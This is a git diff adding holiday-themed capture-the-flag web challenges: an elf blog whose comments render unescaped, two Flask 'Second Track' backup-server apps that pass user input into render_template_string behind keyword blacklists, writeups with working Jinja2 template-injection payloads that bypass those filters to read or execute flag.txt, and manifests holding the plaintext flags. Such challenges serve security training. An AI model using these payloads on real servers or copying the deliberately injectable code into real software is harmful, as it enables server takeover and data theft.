0000000..682efa7 --- /dev/null +++ b/Web/Hard/Elfs' Blog/templates/index.html @@ -0,0 +1,80 @@ + + + + + Terrible Working Environment — North Pole Blog + + + +
+
North Pole Blog
+

Terrible Working Environment

+

+ Unfiltered notes from elves assigned to the tech side of Santa’s operations. + Long hours, blinking lights, and not enough cocoa. +

+ +

Posts

+ +
+ + diff --git a/Web/Hard/Elfs' Blog/templates/post.html b/Web/Hard/Elfs' Blog/templates/post.html new file mode 100644 index 0000000..81f2128 --- /dev/null +++ b/Web/Hard/Elfs' Blog/templates/post.html @@ -0,0 +1,138 @@ + + + + + Terrible Working Environment — Post {{ post_id }} + + + +
+
North Pole Blog
+

Terrible Working Environment — Post {{ post_id }}

+

Readers may leave anonymous elf notes below.

+ +

Leave a comment

+
+ + + +
+ +

Comments

+
    + {% for c in comments %} +
  • {{ c.name }}: {{ c.comment|safe }}
  • + {% endfor %} +
+
+ + + + diff --git a/Web/Hard/Second Track Reborn/Dockerfile b/Web/Hard/Second Track Reborn/Dockerfile new file mode 100755 index 0000000..0e0e0d3 --- /dev/null +++ b/Web/Hard/Second Track Reborn/Dockerfile @@ -0,0 +1,17 @@ +FROM python:3.9-slim + +WORKDIR /app +COPY . /app +RUN pip install --no-cache-dir -r requirements.txt + +EXPOSE 80 +ENV PORT=80 + +ENV FLASK_APP=app.py +ENV FLASK_ENV=development + +# Copy entrypoint script +COPY entrypoint.sh /entrypoint.sh +RUN chmod +x /entrypoint.sh + +ENTRYPOINT ["/entrypoint.sh"] diff --git a/Web/Hard/Second Track Reborn/Writeup/README.md b/Web/Hard/Second Track Reborn/Writeup/README.md new file mode 100755 index 0000000..b21ec46 --- /dev/null +++ b/Web/Hard/Second Track Reborn/Writeup/README.md @@ -0,0 +1,9 @@ +## Second Track Reborn + +Is this happening again? These guys haven't learnt their lesson and got attacked again! Let's see if Second Track can keep their promises and also keep our backups safe. + +### Solution + +```python3 +{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('open')('flag.txt')|attr('read')()}} +``` \ No newline at end of file diff --git a/Web/Hard/Second Track Reborn/app.py b/Web/Hard/Second Track Reborn/app.py new file mode 100755 index 0000000..230caed --- /dev/null +++ b/Web/Hard/Second Track Reborn/app.py @@ -0,0 +1,37 @@ +from flask import ( + Flask, + render_template, + request, + render_template_string +) + +app = Flask(__name__) + + +@app.route('/', methods=['GET', 'POST']) +def index(): + output = "" + blacklist = ["config", "self", "_", '"', + "[", "]", " ", "join", "%", "%25"] + + if request.method == 'POST': + search_term = request.form.get('search_term', '') + output = 'Backup "' + search_term + '" is not available due to technical issues.' + + for x in blacklist: + if x in search_term: + output = 'Are you doing something naughty on this backup server?' + break + + return render_template('index.html', + search_result=render_template_string(output)) + + +@app.route('/about') +def about(): + return render_template('about.html') + + +@app.route('/contact') +def contact(): + return render_template('contact.html') diff --git a/Web/Hard/Second Track Reborn/entrypoint.sh b/Web/Hard/Second Track Reborn/entrypoint.sh new file mode 100644 index 0000000..67c404d --- /dev/null +++ b/Web/Hard/Second Track Reborn/entrypoint.sh @@ -0,0 +1,10 @@ +#!/bin/bash +set -e + +# If FLAG is set, write it to /app/flag.txt +if [ -n "$FLAG" ]; then + echo "$FLAG" > /app/flag.txt + chmod 644 /app/flag.txt +fi + +exec gunicorn -b 0.0.0.0:${PORT} -w 2 -k gthread --threads 4 --timeout 30 app:app diff --git a/Web/Hard/Second Track Reborn/manifest.yml b/Web/Hard/Second Track Reborn/manifest.yml new file mode 100644 index 0000000..c493229 --- /dev/null +++ b/Web/Hard/Second Track Reborn/manifest.yml @@ -0,0 +1,9 @@ +slug: second_track_3 +title: "Second Track Reborn" +description: "Is this happening again? These guys haven't learnt their lesson and got attacked again! Let's see if Second Track can keep their promises and also keep Santa's backups safe." +category: "web" +points: 900 +is_visible: true +complexity: 9 +zip: "local" +flag_plaintext: "CTF{sst1_n0_c0mm4nd_3x3cuti0n_just_r34d}" diff --git a/Web/Hard/Second Track Reborn/requirements.txt b/Web/Hard/Second Track Reborn/requirements.txt new file mode 100755 index 0000000..012d114 --- /dev/null +++ b/Web/Hard/Second Track Reborn/requirements.txt @@ -0,0 +1,6 @@ +Flask==2.2.2 +itsdangerous==2.1.2 +Jinja2==3.1.2 +MarkupSafe==2.1.1 +Werkzeug==2.2.2 +gunicorn \ No newline at end of file diff --git a/Web/Hard/Second Track Reborn/static/css/styles.css b/Web/Hard/Second Track Reborn/static/css/styles.css new file mode 100755 index 0000000..a9dd0b7 --- /dev/null +++ b/Web/Hard/Second Track Reborn/static/css/styles.css @@ -0,0 +1,24 @@ +/* Background Image */ +body { + background-image: url('../img/background.jpg'); /* Add a background image */ + background-size: cover; + background-position: center; + background-repeat: no-repeat; + min-height: 100vh; + margin-bottom: 100px; /* Add margin to prevent content from being hidden behind the footer */ +} + +/* Overlay for better readability */ +.background-overlay { + background-color: rgba(255, 255, 255, 0.8); + min-height: calc(100vh - 120px); /* Adjust for navbar and footer */ + padding-top: 20px; +} + +/* Footer styling */ +.footer { + position: fixed; + bottom: 0; + width: 100%; + background-color: rgba(0, 0, 0, 0.8); +} diff --git a/Web/Hard/Second Track Reborn/static/img/background.jpg b/Web/Hard/Second Track Reborn/static/img/background.jpg new file mode 100755 index 0000000..3b42ca2 Binary files /dev/null and b/Web/Hard/Second Track Reborn/static/img/background.jpg differ diff --git a/Web/Hard/Second Track Reborn/static/img/logo.png b/Web/Hard/Second Track Reborn/static/img/logo.png new file mode 100755 index 0000000..8f85e41 Binary files /dev/null and b/Web/Hard/Second Track Reborn/static/img/logo.png differ diff --git a/Web/Hard/Second Track Reborn/templates/about.html b/Web/Hard/Second Track Reborn/templates/about.html new file mode 100755 index 0000000..c917e18 --- /dev/null +++ b/Web/Hard/Second Track Reborn/templates/about.html @@ -0,0 +1,70 @@ + + + + + + + + About - Second Track + + + + + + + + + + +
+
+
+

About Us

+

+ Second Track is a leading provider of secure and reliable backup solutions. Our mission is to ensure the safety and availability of your data, no matter the + circumstances. +

+

+ Founded in 2018, we have grown to serve thousands of clients worldwide. Our state-of-the-art infrastructure and dedicated team of experts ensure that your + data is always protected. +

+
+
+
+ + +
+
+

© 2025 Second Track. All rights reserved.

+

123 Backup Lane, Data City, DC 12345

+

Phone: (123) 456-7890 | Email: info@secondtrk.com

+
+
+ + + + + \ No newline at end of file diff --git a/Web/Hard/Second Track Reborn/templates/contact.html b/Web/Hard/Second Track Reborn/templates/contact.html new file mode 100755 index 0000000..fbb81e8 --- /dev/null +++ b/Web/Hard/Second Track Reborn/templates/contact.html @@ -0,0 +1,80 @@ + + + + + + + + Contact - Second Track + + + + + + + + + + +
+
+
+

Contact Us

+

+ Have questions or need support? Reach out to us! +

+
+
+ + +
+
+ + +
+
+ + +
+ +
+
+
+
+ + +
+
+

© 2025 Second Track. All rights reserved.

+

123 Backup Lane, Data City, DC 12345

+

Phone: (123) 456-7890 | Email: info@secondtrk.com

+
+
+ + + + + \ No newline at end of file diff --git a/Web/Hard/Second Track Reborn/templates/index.html b/Web/Hard/Second Track Reborn/templates/index.html new file mode 100755 index 0000000..9122ccc --- /dev/null +++ b/Web/Hard/Second Track Reborn/templates/index.html @@ -0,0 +1,82 @@ + + + + + + + + Home - Second Track + + + + + + + +
+
+ + + +
+

Welcome to Second TRK Backup Server

+

+ Our backup server ensures the safety and security of your data. Use the search bar below to locate your backups. +

+
+ + +
+
+ + +
+
+ + + {% if search_result %} + + {% endif %} +
+
+ + +
+
+

© 2025 Second Track. All rights reserved.

+

123 Backup Lane, Data City, DC 12345

+

Phone: (123) 456-7890 | Email: info@secondtrk.com

+
+
+ + + + + diff --git a/Web/Medium/Second Track Aftermath/Dockerfile b/Web/Medium/Second Track Aftermath/Dockerfile new file mode 100755 index 0000000..0e0e0d3 --- /dev/null +++ b/Web/Medium/Second Track Aftermath/Dockerfile @@ -0,0 +1,17 @@ +FROM python:3.9-slim + +WORKDIR /app +COPY . /app +RUN pip install --no-cache-dir -r requirements.txt + +EXPOSE 80 +ENV PORT=80 + +ENV FLASK_APP=app.py +ENV FLASK_ENV=development + +# Copy entrypoint script +COPY entrypoint.sh /entrypoint.sh +RUN chmod +x /entrypoint.sh + +ENTRYPOINT ["/entrypoint.sh"] diff --git a/Web/Medium/Second Track Aftermath/Writeup/README.md b/Web/Medium/Second Track Aftermath/Writeup/README.md new file mode 100755 index 0000000..19d3925 --- /dev/null +++ b/Web/Medium/Second Track Aftermath/Writeup/README.md @@ -0,0 +1,10 @@ +## Second Track Aftermath + +Second Track just suffered a cyber attack and was forced to update their systems and tighten security. This is a backup server, not your home laptop, set up firewall at least, kiddo! + +### Solution + +```python3 +{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(399)('./flag.txt',shell=True,stdout=-1)|attr + ('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}} +``` \ No newline at end of file diff --git a/Web/Medium/Second Track Aftermath/app.py b/Web/Medium/Second Track Aftermath/app.py new file mode 100755 index 0000000..f05fb2c --- /dev/null +++ b/Web/Medium/Second Track Aftermath/app.py @@ -0,0 +1,38 @@ +from flask import ( + Flask, + render_template, + request, + render_template_string +) + +app = Flask(__name__) + + +@app.route('/', methods=['GET', 'POST']) +def index(): + output = "" + blacklist = ["config", "self", "_", '"', + "request", "[", "]", + "join", "%", "%25", "app"] + + if request.method == 'POST': + search_term = request.form.get('search_term', '') + output = 'Backup "' + search_term + '" is not available due to technical issues.' + + for x in blacklist: + if x in search_term: + output = 'Are you doing something naughty on this backup server?' + break + + return render_template('index.html', + search_result=render_template_string(output)) + + +@app.route('/about') +def about(): + return render_template('about.html') + + +@app.route('/contact') +def contact(): + return render_template('contact.html') diff --git a/Web/Medium/Second Track Aftermath/entrypoint.sh b/Web/Medium/Second Track Aftermath/entrypoint.sh new file mode 100644 index 0000000..ebcf367 --- /dev/null +++ b/Web/Medium/Second Track Aftermath/entrypoint.sh @@ -0,0 +1,11 @@ +#!/bin/bash +set -e + +# If FLAG is set, write it to /app/flag.txt +if [ -n "$FLAG" ]; then + echo "$FLAG" > /app/flag.txt + chmod 644 /app/flag.txt +fi + +# Start flask in foreground +exec gunicorn -b 0.0.0.0:${PORT} -w 2 -k gthread --threads 4 --timeout 30 app:app diff --git a/Web/Medium/Second Track Aftermath/manifest.yml b/Web/Medium/Second Track Aftermath/manifest.yml new file mode 100644 index 0000000..d502061 --- /dev/null +++ b/Web/Medium/Second Track Aftermath/manifest.yml @@ -0,0 +1,9 @@ +slug: second_track_2 +title: "Second Track Aftermath" +description: "Second Track just suffered a cyber attack and was forced to update their systems and tighten security. This is a backup server, not your home laptop, set up firewall at least, kiddo!" +category: "web" +points: 700 +is_visible: true +complexity: 7 +zip: "local" +flag_plaintext: "CTF{sst1_w1th_f1lt3rs_m4d3_1t_s3cur3}" diff --git a/Web/Medium/Second Track Aftermath/requirements.txt b/Web/Medium/Second Track Aftermath/requirements.txt new file mode 100755 index 0000000..012d114 --- /dev/null +++ b/Web/Medium/Second Track Aftermath/requirements.txt @@ -0,0 +1,6 @@ +Flask==2.2.2 +itsdangerous==2.1.2 +Jinja2==3.1.2 +MarkupSafe==2.1.1 +Werkzeug==2.2.2 +gunicorn \ No newline at end of file diff --git a/Web/Medium/Second Track Aftermath/static/css/styles.css b/Web/Medium/Second Track Aftermath/static/css/styles.css new file mode 100755 index 0000000..a9dd0b7 --- /dev/null +++ b/Web/Medium/Second Track Aftermath/static/css/styles.css @@ -0,0 +1,24 @@ +/* Background Image */ +body { + background-image: url('../img/background.jpg'); /* Add a background image */ + background-size: cover; + background-position: center; + background-repeat: no-repeat; + min-height: 100vh; + margin-bottom: 100px; /* Add margin to prevent content from being hidden behind the footer */ +} + +/* Overlay for better readability */ +.background-overlay { + background-color: rgba(255, 255, 255, 0.8); + min-height: calc(100vh - 120px); /* Adjust for navbar and footer */ + padding-top: 20px; +} + +/* Footer styling */ +.footer { + position: fixed; + bottom: 0; + width: 100%; + background-color: rgba(0, 0, 0, 0.8); +} diff --git a/Web/Medium/Second Track Aftermath/static/img/background.jpg b/Web/Medium/Second Track Aftermath/static/img/background.jpg new file mode 100755 index 0000000..3b42ca2 Binary files /dev/null and b/Web/Medium/Second Track Aftermath/static/img/background.jpg differ diff --git a/Web/Medium/Second Track Aftermath/static/img/logo.png b/Web/Medium/Second Track Aftermath/static/img/logo.png new file mode 100755 index 0000000..8f85e41 Binary files /dev/null and b/Web/Medium/Second Track Aftermath/static/img/logo.png differ diff --git a/Web/Medium/Second Track Aftermath/templates/about.html b/Web/Medium/Second Track Aftermath/templates/about.html new file mode 100755 index 0000000..c917e18 --- /dev/null +++ b/Web/Medium/Second Track Aftermath/templates/about.html @@ -0,0 +1,70 @@ + + + + + + + + About - Second Track + + + + + + + + + + +
+
+
+

About Us

+

+ Second Track is a leading provider of secure and reliable backup solutions. Our mission is to ensure the safety and availability of your data, no matter the + circumstances. +

+

+ Founded in 2018, we have grown to serve thousands of clients worldwide. Our state-of-the-art infrastructure and dedicated team of experts ensure that your + data is always protected. +

+
+
+
+ + +
+
+

© 2025 Second Track. All rights reserved.

+

123 Backup Lane, Data City, DC 12345

+

Phone: (123) 456-7890 | Email: info@secondtrk.com

+
+
+ + + + + \ No newline at end of file diff --git a/Web/Medium/Second Track Aftermath/templates/contact.html b/Web/Medium/Second Track Aftermath/templates/contact.html new file mode 100755 index 0000000..fbb81e8 --- /dev/null +++ b/Web/Medium/Second Track Aftermath/templates/contact.html @@ -0,0 +1,80 @@ + + + + + + + + Contact - Second Track + + + + + + + + + + +
+
+
+

Contact Us

+

+ Have questions or need support? Reach out to us! +

+
+
+ + +
+
+ + +
+
+ + +
+ +
+
+
+
+ + +
+
+

© 2025 Second Track. All rights reserved.

+

123 Backup Lane, Data City, DC 12345

+

Phone: (123) 456-7890 | Email: info@secondtrk.com

+
+
+ + + + + \ No newline at end of file diff --git a/Web/Medium/Second Track Aftermath/templates/index.html b/Web/Medium/Second Track Aftermath/templates/index.html new file mode 100755 index 0000000..2015b3b --- /dev/null +++ b/Web/Medium/Second Track Aftermath/templates/index.html @@ -0,0 +1,82 @@ + + + + + + + + Home - Second Track + + + + + + + +
+
+ + + +
+

Welcome to Second TRK Backup Server

+

+ Our backup server ensures the safety and security of your data. Use the search bar below to locate your backups. +

+
+ + +
+
+ + +
+
+ + + {% if search_result %} + + {% endif %} +
+
+ + +
+
+

© 2025 Second Track. All rights reserved.

+

123 Backup Lane, Data City, DC 12345

+

Phone: (123) 456-7890 | Email: info@secondtrk.com

+
+
+ + + + + diff --git a/ctf.yml b/ctf.yml new file mode 100644 index 0000000..96b24fc --- /dev/null +++ b/ctf.yml @@ -0,0 +1,9 @@ +version: 1 +defaults: + category: "misc" + points: 100 + is_visible: false + complexity: 5 + service_webshell: false + service_export_flag: true + service_flag_env: "FLAG" \ No newline at end of file diff --git a/docs/logo.png b/docs/logo.png new file mode 100644 index 0000000..e7a01cc Binary files /dev/null and b/docs/logo.png differ